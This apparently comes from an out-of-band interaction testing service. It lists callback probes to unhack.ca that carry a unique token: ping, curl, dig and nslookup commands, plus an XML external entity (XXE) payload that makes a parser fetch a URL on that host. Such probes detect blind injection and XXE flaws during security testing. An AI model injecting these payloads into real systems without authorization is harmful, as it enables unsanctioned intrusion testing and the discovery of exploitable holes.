$ ping -c1 -p 00456710bd4d991334a72d1283825200 unhack.ca
 

$ curl http://unhack.ca/p/456710bd4d991334a72d12838252
 

$ dig 456710bd4d991334a72d12838252 @unhack.ca
 

$ dig 456710bd4d991334a72d12838252.ns.unhack.ca
 

C:\> nslookup 456710bd4d991334a72d12838252 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/456710bd4d991334a72d12838252">]>
    <foo>&xxe;</foo>